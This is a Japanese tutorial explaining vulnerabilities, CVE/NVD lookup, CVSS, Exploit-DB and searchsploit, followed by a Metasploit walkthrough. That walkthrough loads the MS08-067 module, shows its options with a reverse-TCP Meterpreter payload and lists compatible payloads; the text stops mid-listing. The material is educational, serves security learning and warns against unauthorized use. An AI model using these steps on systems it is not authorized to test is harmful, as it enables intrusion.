脆弱性とエクスプロイトについて理解する

# はじめに
攻撃者[^1]は偵察行為から得た情報を基に脆弱性を発見し、脆弱性に対する攻撃を確立させます。

脆弱性に対する考え方を身につけることはセキュリティ対策の検討に役立ちます。

本記事はエンジニアなら知っておくべき脆弱性の概要や、攻撃者の視点から脆弱性を調査するための方法について記載しています。

[^1]: アタッカー、クラッカー

## 脆弱性
**脆弱性**はシステムにおけるアプリケーションの設計及び実装の欠陥です。脆弱性と攻撃者の**脅威**が紐づくことでリスクが生じます。従って、リスクを低減するためには攻撃ベクトルとなる脆弱性を塞ぐために適切なセキュリティ対策が必要です。

脆弱性はさまざまな種類が存在します。例えば、OSやMWなどカーネルやライブラリの隙を突いて、特権の昇格を狙うものや、アプリケーション、認証で使用されるクレデンシャル情報、フィッシングメール等いくつかのカテゴリに分類できます。

セキュリティを維持し続けるためには脆弱性情報を収集し、パッチ適用や、セキュリティ対策を定期的に見直すなど日々の運用が重要です。

脆弱性は既知の脆弱性と未知の脆弱性の2種類が存在し、未知の脆弱性については公開されていないため、ゼロデイと呼ばれます。また、脆弱性を防ぐために開発ベンダによるパッチなどが公開されるまでに悪用されて行われる攻撃を**ゼロデイ攻撃**と呼びます。

### CVE
脆弱性が公開された場合、[MITRE](https://en.wikipedia.org/wiki/Mitre_Corporation)社によって**CVE**が採番されます。

CVEは脆弱性固有の識別子を示し、[脆弱性情報データベース](https://ja.wikipedia.org/wiki/%E8%84%86%E5%BC%B1%E6%80%A7%E6%83%85%E5%A0%B1%E3%83%87%E3%83%BC%E3%82%BF%E3%83%99%E3%83%BC%E3%82%B9)によって管理されます。フォーマットは`CVE-YEAR-IDNUMBER`です。

[NATIONAL VULNERABILITY DATABASE（NVD）](https://nvd.nist.gov/vuln)は[NIST](https://ja.wikipedia.org/wiki/%E3%82%A2%E3%83%A1%E3%83%AA%E3%82%AB%E5%9B%BD%E7%AB%8B%E6%A8%99%E6%BA%96%E6%8A%80%E8%A1%93%E7%A0%94%E7%A9%B6%E6%89%80)によって管理さされている脆弱性情報データベースです。[Full Listing](https://nvd.nist.gov/vuln/full-listing)ページからすべてのCVEを確認することができます。

NVDで新しい脆弱性を調査する場合は[Search Vulnerability Database](https://nvd.nist.gov/vuln/search)ページより脆弱性情報の検索ができます。

例えば2021年12月に公表されたlog4jについて調査したい場合、下記のようにキーワードを入力してSearchボタンを押します。

![スクリーンショット 2022-05-12 23.43.47.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/8eb8d773-ce89-8762-9a32-036d7fa49249.png)

該当するCVE番号の情報が出力されます。

![スクリーンショット 2022-05-12 23.44.03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/869c1672-99f4-e241-85f6-058f0ca3e378.png)

任意のCVE番号を選択すると、詳細が確認できます。CVSSのV2とV3系についてそれぞれのベーシックスコアを確認することができます。CVSSについては後述します。

:::note
CVEが採番されたばかりだと、ベーシックスコアはまだ計算中のため、スコアが表示されていない場合があります。
:::

![スクリーンショット 2022-05-12 23.44.16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/dcb41088-a77c-4218-2332-138b44e02bf5.png)

また、CVEのサイトより[Search CVE List](https://cve.mitre.org/cve/search_cve_list.html)ページからも同様の情報を検索することができます。下記のようにキーワードを入力してSubmitボタンを押します。

![スクリーンショット 2022-05-12 23.49.37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/03fa66ae-582d-0880-5150-246ea1c61728.png)

該当するCVE番号の情報が出力されます。（詳細画面から最終的に辿り着く脆弱性情報は同じNVDの情報です。）

![スクリーンショット 2022-05-12 23.49.44.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/a6efe8d2-cfd6-16c4-8d49-ad7fdd7ddee6.png)

上記CVEのサイトは従来使用されてきたサイトですが、新しいサイト（Beta版）として[CVE](https://www.cve.org/)が公開されています。

![スクリーンショット 2022-05-14 20.34.53.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/b4580441-3254-74e2-6f54-33032bc81815.png)

今のところキーワード検索には対応していないため、CVE IDとして`CVE-YEAR-IDNUMBER`を入力することでCVEの詳細を確認することができます。

![スクリーンショット 2022-05-14 20.40.50.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/28ec1cda-6b6a-591f-7ad5-d7e06ac33135.png)

### CVSS
**CVSS**は共通脆弱性評価システムと呼ばれ、情報システムの脆弱性に対するオープンで汎用的な評価手法として、ベンダーに依存しない共通の評価方法を提供しています。CVSSを用いることで、脆弱性の深刻度を同一の基準の下で定量的に比較できます。

スコアはいくつかのメトリックに依存する式に基づいて計算されます。CVSSスコアのコンポーネントによるロジックは、上記で紹介したNISTのNVDサイトから、[Common Vulnerability Scoring System Calculator](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)ページより確認できます。

CVSSにはv2.0とv3.Xの二つのバージョンが存在し、現在はv3.1のバージョンが最新[^2]です。
[Vulnerability Metrics](https://nvd.nist.gov/vuln-metrics/cvss#)ページの通りにバージョン毎に、スコアレンジによるセキュリティレベルは異なります。また、CVSSスコアの計算ロジックも変わっています。

[^2]: 本記事執筆時点（2022年5月）の情報

CVSSについて理解したい場合はIPAのサイトより[共通脆弱性評価システムCVSS v3概説](https://www.ipa.go.jp/security/vuln/CVSSv3.html)が参考になります。

### Exploit
[**エクスプロイト**](https://ja.wikipedia.org/wiki/%E3%82%A8%E3%82%AF%E3%82%B9%E3%83%97%E3%83%AD%E3%82%A4%E3%83%88)は脆弱性を悪用した攻撃です。

[EXPLOIT DATABASE](https://www.exploit-db.com/)は、脆弱性を評価するに役立つコンテンツです。ソフトウェアまたはアプリケーションの名前、作成者、およびバージョン毎のエクスプロイトなどをデータベースにて管理しています。

概念実証（PoC[^3]）を行うための手段として、特定の脆弱性を悪用するために使用されるコードのスニペットを探すことができます。

[^3]: [Proof of concept(PoC)](https://ja.wikipedia.org/wiki/%E6%A6%82%E5%BF%B5%E5%AE%9F%E8%A8%BC)

![スクリーンショット 2022-05-13 0.15.47.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/5c323691-824b-6bfb-3976-4ffb12e661b7.png)

## 脆弱性の調査方法
攻撃者は偵察行為から得たコンテンツの情報を基に脆弱性を調査します。
偵察行為については以前書いた[Content Discovery Webアプリケーションに対する偵察行為](https://qiita.com/Brutus/items/6b89c9518ea90695232f)を参照。

調査には様々なツールや、脆弱性に役立つサイトの情報が使用されます。

![脆弱性.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/fe83ae6d-1259-29b4-5ade-7bc2a9aaac92.png)

**※本記事で記載していツールを個人の環境や自システム以外で実施する場合、[不正アクセス行為の禁止等に関する法律](https://elaws.e-gov.go.jp/document?lawid=411AC0000000128)に触れる可能性があるため、不正の目的での使用はしないでください。**

### searchsploit
**searchsploit**はエクスプロイトデータベースのコマンドライン検索ツールでです。
searchsploitの使い方は上記で紹介したEXPLOIT DATABASEのサイトで公開されている[SearchSploit – The Manual](https://www.exploit-db.com/searchsploit)に記載されています。

Kali Linuxでは最初からインストールされています。ターミナルから`searchsploit`コマンドを実行してエクスプロイトの検索を行います。下記の場合`ubuntu 19.10`をキーワードに検索した例です。 

- エクスプロイトの検索
`$ searchsploit ＜キーワード＞`

```console
kali@kali:~$ searchsploit ubuntu 19.10
------------------------------------------------------------- ---------------------------------
 Exploit Title                                               |  Path
------------------------------------------------------------- ---------------------------------
Ubuntu 19.10 - Refcount Underflow and Type Confusion in shif | linux/dos/47693.txt
Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Ref | linux/dos/47692.txt
------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

`Path`に出力されたファイルを参照することで、エクスプロイトの情報を確認できます。
上記`47693.txt`の場合、以下`Path`を参照してファイルを確認します。

`cat /usr/share/exploitdb/exploits/linux/dos/47693.txt`

:::note
ポイントは検索の仕組みとしてOR演算子ではなく、 AND演算子を使用しているため、バージョンなど条件を絞り込んだ方が出力の結果が見やすくなります。
:::

### Metasploit Framework
**Metasploit**は最も広く使用されているフレームワークです。情報収集からエクスプロイトまで、すべてのフェーズをサポートする強力なツールです。

[Metasploit](https://www.metasploit.com/)はオープンソースとして公開されている**Metasploit Framework**と、有償版（GUI含む）の**Metasploit Pro**の2つのバージョンが存在します。

本記事では無料で使用可能となっているMetasploit Frameworkについて簡潔に紹介しています。
有償版のProとの機能差異については公式サイト[Metasploit Pen Testing Tool](https://www.rapid7.com/products/metasploit/download/editions/)より確認できます。

Metasploit Frameworkの主なコンポーネントは以下になります。

- msfconsole：コマンドラインインターフェイス（CLI）
- モジュール：エクスプロイト、スキャナー、ペイロードなどのサポートモジュール
- ツール：脆弱性の調査、脆弱性の評価、または侵入テストに役立つスタンドアロンツール

モジュール配下ディレクトリは下記のように、様々なモジュールが格納されています。

```console
kali@kali:~$ tree -L 1 /usr/share/metasploit-framework/modules/
/usr/share/metasploit-framework/modules/
├── auxiliary
├── encoders
├── evasion
├── exploits
├── nops
├── payloads
└── post

7 directories, 0 files
```

#### msfconsoleの起動
msfconsoleは下記のコマンドを実行して起動します。
なお、コンソールに表示される`msf5`の文字はMetasploitのバージョンによって違います。

- msfconsoleの起動
`$ msfconsole`


```console
kali@kali:~$ msfconsole 
                                                  
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v5.0.101-dev                         ]
+ -- --=[ 2049 exploits - 1108 auxiliary - 344 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use help <command> to learn more about any command

msf5 >
```

コマンドラインはほとんどのLinuxコマンドをサポートしますが、出力リダイレクトなど一部の機能についてはサポートしていないため、使用することはできません。また、タブ補完機能やhistoryコマンドを使用して、以前に入力したコマンドを表示できます。アスキーアートは起動する度に表示が変わる演出です。

#### エクスプロイトの検索
エクスプロイトを検索する場合は`search`コマンドコマンドを実行して指定された検索パラメータに関連するモジュールをMetasploitFrameworkデータベースから検索します。CVE番号、エクスプロイト名（eternalblue、heartbleedなど）をキーワードに使用することができます。

- エクスプロイトの検索
`msf5> search ＜キーワード＞`
`msf5> search ＜キーワード＞ edb:＜ID＞`


```console
msf5 > search ldap

Matching Modules
================

   #   Name                                                   Disclosure Date  Rank       Check  Description
   -   ----                                                   ---------------  ----       -----  -----------
   0   auxiliary/admin/http/grafana_auth_bypass               2019-08-14       normal     No     Grafana 2.0 through 5.2.2 authentication bypass for LDAP and OAuth
   1   auxiliary/admin/http/telpho10_credential_dump          2016-09-02       normal     No     Telpho10 Backup Credentials Dumper
   2   auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass  2020-04-09       normal     Yes    VMware vCenter Server vmdir Authentication Bypass
   3   auxiliary/dos/wireshark/cldap                          2011-03-01       normal     No     Wireshark CLDAP Dissector DOS
   4   auxiliary/dos/wireshark/ldap                           2008-03-28       normal     No     Wireshark LDAP Dissector DOS
   5   auxiliary/gather/vmware_vcenter_vmdir_ldap             2020-04-09       normal     No     VMware vCenter Server vmdir Information Disclosure
   6   auxiliary/gather/xerox_workcentre_5xxx_ldap                             normal     No     Xerox Workcentre 5735 LDAP Service Redential Extractor
   7   auxiliary/scanner/http/gitlab_user_enum                2014-11-21       normal     No     GitLab User Enumeration
   8   auxiliary/scanner/http/symantec_brightmail_ldapcreds   2015-12-17       normal     No     Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability
   9   exploit/linux/http/pineapp_ldapsyncnow_exec            2013-07-26       excellent  Yes    PineApp Mail-SeCure ldapsyncnow.php Arbitrary Command Execution
   10  exploit/linux/http/zimbra_xxe_rce                      2019-03-13       excellent  Yes    Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF
   11  exploit/linux/misc/jenkins_ldap_deserialize            2016-11-16       excellent  Yes    Jenkins CLI HTTP Java Deserialization Vulnerability
   12  exploit/multi/http/phpldapadmin_query_engine           2011-10-24       excellent  Yes    phpLDAPadmin query_engine Remote PHP Code Injection
   13  exploit/unix/webapp/zeroshell_exec                     2013-09-22       excellent  Yes    ZeroShell Remote Code Execution
   14  exploit/unix/webapp/zimbra_lfi                         2013-12-06       excellent  Yes    Zimbra Collaboration Server LFI
   15  exploit/windows/http/apache_mod_rewrite_ldap           2006-07-28       great      Yes    Apache Module mod_rewrite LDAP Protocol Buffer Overflow
   16  exploit/windows/ldap/imail_thc                         2004-02-17       average    No     IMail LDAP Service Buffer Overflow
   17  exploit/windows/ldap/pgp_keyserver7                    2001-07-16       good       No     Network Associates PGP KeyServer 7 LDAP Buffer Overflow
   18  exploit/windows/novell/netiq_pum_eval                  2012-11-15       excellent  Yes    NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution
   19  exploit/windows/smb/ms06_070_wkssvc                    2006-11-14       manual     No     MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow
   20  post/windows/gather/enum_ad_computers                                   normal     No     Windows Gather Active Directory Computers
   21  post/windows/gather/enum_ad_service_principal_names                     normal     No     Windows Gather Active Directory Service Principal Names
   22  post/windows/gather/enum_ad_user_comments                               normal     No     Windows Gather Active Directory User Comments


Interact with a module by name or index, for example use 22 or use post/windows/gather/enum_ad_user_comments                                                                                  
```

検索結果のRank列の説明について[Exploit Ranking](https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking)から確認できます。

#### モジュール（エクスプロイト）の設定
以下は実際にエクスプロイトを行うための方法になります。
エクスプロイトの攻撃準備として`use`コマンドを実行し、使用したいエクスプロイトを設定します。

本記事では最も一般的なエクスプロイトの1つとして、`windows/smb/s08-067_netapi`を例に解説します。

- モジュールのロード
`msf5> use ＜モジュールのパス＞`

```console
msf5 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms08_067_netapi) > 
```

モジュールの詳細については、`info`コマンドを入力することで取得できます。

- モジュールの情報確認
`msf5> info`

<details><summary>出力例</summary>

```console
msf5 exploit(windows/smb/ms08_067_netapi) > info

       Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
     Module: exploit/windows/smb/ms08_067_netapi
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-10-28

Provided by:
  hdm <x@hdm.io>
  Brett Moore <brett.moore@insomniasec.com>
  frank2 <frank2@dc949.org>
  jduck <jduck@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Automatic Targeting
  1   Windows 2000 Universal
  2   Windows XP SP0/SP1 Universal
  3   Windows 2003 SP0 Universal
  4   Windows XP SP2 English (AlwaysOn NX)
  5   Windows XP SP2 English (NX)
  6   Windows XP SP3 English (AlwaysOn NX)
  7   Windows XP SP3 English (NX)
  8   Windows XP SP2 Arabic (NX)
  9   Windows XP SP2 Chinese - Traditional / Taiwan (NX)
  10  Windows XP SP2 Chinese - Simplified (NX)
  11  Windows XP SP2 Chinese - Traditional (NX)
  12  Windows XP SP2 Czech (NX)
  13  Windows XP SP2 Danish (NX)
  14  Windows XP SP2 German (NX)
  15  Windows XP SP2 Greek (NX)
  16  Windows XP SP2 Spanish (NX)
  17  Windows XP SP2 Finnish (NX)
  18  Windows XP SP2 French (NX)
  19  Windows XP SP2 Hebrew (NX)
  20  Windows XP SP2 Hungarian (NX)
  21  Windows XP SP2 Italian (NX)
  22  Windows XP SP2 Japanese (NX)
  23  Windows XP SP2 Korean (NX)
  24  Windows XP SP2 Dutch (NX)
  25  Windows XP SP2 Norwegian (NX)
  26  Windows XP SP2 Polish (NX)
  27  Windows XP SP2 Portuguese - Brazilian (NX)
  28  Windows XP SP2 Portuguese (NX)
  29  Windows XP SP2 Russian (NX)
  30  Windows XP SP2 Swedish (NX)
  31  Windows XP SP2 Turkish (NX)
  32  Windows XP SP3 Arabic (NX)
  33  Windows XP SP3 Chinese - Traditional / Taiwan (NX)
  34  Windows XP SP3 Chinese - Simplified (NX)
  35  Windows XP SP3 Chinese - Traditional (NX)
  36  Windows XP SP3 Czech (NX)
  37  Windows XP SP3 Danish (NX)
  38  Windows XP SP3 German (NX)
  39  Windows XP SP3 Greek (NX)
  40  Windows XP SP3 Spanish (NX)
  41  Windows XP SP3 Finnish (NX)
  42  Windows XP SP3 French (NX)
  43  Windows XP SP3 Hebrew (NX)
  44  Windows XP SP3 Hungarian (NX)
  45  Windows XP SP3 Italian (NX)
  46  Windows XP SP3 Japanese (NX)
  47  Windows XP SP3 Korean (NX)
  48  Windows XP SP3 Dutch (NX)
  49  Windows XP SP3 Norwegian (NX)
  50  Windows XP SP3 Polish (NX)
  51  Windows XP SP3 Portuguese - Brazilian (NX)
  52  Windows XP SP3 Portuguese (NX)
  53  Windows XP SP3 Russian (NX)
  54  Windows XP SP3 Swedish (NX)
  55  Windows XP SP3 Turkish (NX)
  56  Windows 2003 SP1 English (NO NX)
  57  Windows 2003 SP1 English (NX)
  58  Windows 2003 SP1 Japanese (NO NX)
  59  Windows 2003 SP1 Spanish (NO NX)
  60  Windows 2003 SP1 Spanish (NX)
  61  Windows 2003 SP1 French (NO NX)
  62  Windows 2003 SP1 French (NX)
  63  Windows 2003 SP2 English (NO NX)
  64  Windows 2003 SP2 English (NX)
  65  Windows 2003 SP2 German (NO NX)
  66  Windows 2003 SP2 German (NX)
  67  Windows 2003 SP2 Portuguese - Brazilian (NX)
  68  Windows 2003 SP2 Spanish (NO NX)
  69  Windows 2003 SP2 Spanish (NX)
  70  Windows 2003 SP2 Japanese (NO NX)
  71  Windows 2003 SP2 French (NO NX)
  72  Windows 2003 SP2 French (NX)

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    445              yes       The SMB service port (TCP)
  SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload information:
  Space: 408
  Avoid: 8 characters

Description:
  This module exploits a parsing flaw in the path canonicalization 
  code of NetAPI32.dll through the Server Service. This module is 
  capable of bypassing NX on some operating systems and service packs. 
  The correct target must be used to prevent the Server Service (along 
  with a dozen others in the same process) from crashing. Windows XP 
  targets seem to handle multiple successful exploitation events, but 
  2003 targets will often crash or hang on subsequent attempts. This 
  is just the first version of this module, full support for NX bypass 
  on 2003, along with other platforms, is still in development.

References:
  https://cvedetails.com/cve/CVE-2008-4250/
  OSVDB (49243)
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/MS08-067
  http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos
```

</details>

エクスプロイトを行うためには使用するモジュールによって設定するパラメータが異なります。
必要なパラメータは`show opotion`を実行して確認します。Requiredが**yes**になっている場合は設定が必要な項目です。

- モジュールの設定値確認
`msf5> show options`

```console
msf5 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting
```

コマンドを実行すると、`Module options`、`Payload options`、`Exploit target`毎に設定値が表示されます。


エクスプロイト毎に対応可能なペイロードは以下のコマンドを実行します。

- ペイロードの確認
`msf5> show payloads`

<details><summary>出力例</summary>

```console
msf5 exploit(windows/smb/ms08_067_netapi) > show payloads

Compatible Payloads
===================

   #    Name                                                Disclosure Date  Rank    Check  Description
   -    ----                                                ---------------  ----    -----  -----------
   0    generic/custom                                                       manual  No     Custom Payload
   1    generic/debug_trap                                                   manual  No     Generic x86 Debug Trap
   2    generic/shell_bind_tcp                                               manual  No     Generic Command Shell, Bind TCP Inline
   3    generic/shell_reverse_tcp                                            manual  No     Generic Command Shell, Reverse TCP Inline
   4    generic/tight_loop                                                   manual  No     Generic x86 Tight Loop
   5    windows/adduser                                                      manual  No     Windows Execute net user /ADD
   6    windows/dllinject/bind_hidden_ipknock_tcp                            manual  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   7    windows/dllinject/bind_hidden_tcp                                    manual  No     Reflective DLL Injection, Hidden Bind TCP Stager
   8    windows/dllinject/bind_ipv6_tcp                                      manual  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   9    windows/dllinject/bind_ipv6_tcp_uuid                                 manual  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   10   windows/dllinject/bind_named_pipe                                    manual  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   11   windows/dllinject/bind_nonx_tcp                                      manual  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   12   windows/dllinject/bind_tcp                                           manual  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   13   windows/dllinject/bind_tcp_rc4                                       manual  No     Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   14   windows/dllinject/bind_tcp_uuid                                      manual  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   15   windows/dllinject/reverse_hop_http                                   manual  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   16   windows/dllinject/reverse_ipv6_tcp                                   manual  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   17   windows/dllinject/reverse_nonx_tcp                                   manual  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   18   windows/dllinject/reverse_ord_tcp                                    manual  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   19   windows/dllinject/reverse_tcp                                        manual  No     Reflective DLL Injection, Reverse TCP Stager
   20   windows/dllinject/reverse_tcp_allports                               manual  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   21   windows/dllinject/reverse_tcp_dns                                    manual  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   22   windows/dllinject/reverse_tcp_rc4                                    manual  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   23   windows/dllinject/reverse_tcp_uuid                                   manual  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   24   windows/dns_txt_query_exec                                           manual  No     DNS TXT Record Payload Download and Execution
   25   windows/exec                                                         manual  No     Windows Execute Command
   26   windows/format_all_drives                                            manual  No     Windows Drive Formatter
   27   windows/loadlibrary                                                  manual  No     Windows LoadLibrary Path
   28   windows/messagebox                                                   manual  No     Windows MessageBox
   29   windows/meterpreter/bind_hidden_ipknock_tcp                          manual  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   30   windows/meterpreter/bind_hidden_tcp                                  manual  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   31   windows/meterpreter/bind_ipv6_tcp                                    manual  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   32   windows/meterpreter/bind_ipv6_tcp_uuid                               manual  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   33   windows/meterpreter/bind_named_pipe                                  manual  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   34   windows/meterpreter/bind_nonx_tcp                                    manual  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   35   windows/meterpreter/bind_tcp                                         manual  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   36   windows/meterpreter/bind_tcp_rc4                                     manual  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   37   windows/meterpreter/bind_tcp_uuid                                    manual  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   38   windows/meterpreter/reverse_hop_http                                 manual  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   39   windows/meterpreter/reverse_https_proxy                              manual  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   40   windows/meterpreter/reverse_ipv6_tcp                                 manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   41   windows/meterpreter/reverse_named_pipe                               manual  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   42   windows/meterpreter/reverse_nonx_tcp                                 manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   43   windows/meterpreter/reverse_ord_tcp                                  manual  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   44   windows/meterpreter/reverse_tcp                                      manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   45   windows/meterpreter/reverse_tcp_allports                             manual  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   46   windows/meterpreter/reverse_tcp_dns                                  manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   47   windows/meterpreter/reverse_tcp_rc4                                  manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   48   windows/meterpreter/reverse_tcp_uuid                                 manual  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   49   windows/metsvc_bind_tcp                                              manual  No     Windows Meterpreter Service, Bind TCP
   50   windows/metsvc_reverse_tcp                                           manual  No     Windows Meterpreter Service, Reverse TCP Inline
   51   windows/patchupdllinject/bind_hidden_ipknock_tcp                     manual  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   52   windows/patchupdllinject/bind_hidden_tcp                             manual  No     Windows Inject DLL, Hidden Bind TCP Stager
   53   windows/patchupdllinject/bind_ipv6_tcp                               manual  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   54   windows/patchupdllinject/bind_ipv6_tcp_uuid                          manual  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   55   windows/patchupdllinject/bind_named_pipe                             manual  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
   56   windows/patchupdllinject/bind_nonx_tcp                               manual  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   57   windows/patchupdllinject/bind_tcp                                    manual  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   58   windows/patchupdllinject/bind_tcp_rc4                                manual  No     Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   59   windows/patchupdllinject/bind_tcp_uuid                               manual  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   60   windows/patchupdllinject/reverse_ipv6_tcp                            manual  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   61   windows/patchupdllinject/reverse_nonx_tcp                            manual  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   62   windows/patchupdllinject/reverse_ord_tcp                             manual  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   63   windows/patchupdllinject/reverse_tcp                                 manual  No     Windows Inject DLL, Reverse TCP Stager
   64   windows/patchupdllinject/reverse_tcp_allports                        manual  No     Windows Inject DLL, Reverse All-Port TCP Stager
   65   windows/patchupdllinject/reverse_tcp_dns                             manual  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   66   windows/patchupdllinject/reverse_tcp_rc4                             manual  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   67   windows/patchupdllinject/reverse_tcp_uuid                            manual  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   68   windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   manual  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   69   windows/patchupmeterpreter/bind_hidden_tcp                           manual  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   70   windows/patchupmeterpreter/bind_ipv6_tcp                             manual  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
   71   windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        manual  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   72   windows/patchupmeterpreter/bind_named_pipe                           manual  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   73   windows/patchupmeterpreter/bind_nonx_tcp                             manual  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   74   windows/patchupmeterpreter/bind_tcp                                  manual  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   75   windows/patchupmeterpreter/bind_tcp_rc4                              manual  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   76   windows/patchupmeterpreter/bind_tcp_uuid                             manual  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   77   windows/patchupmeterpreter/reverse_ipv6_tcp                          manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
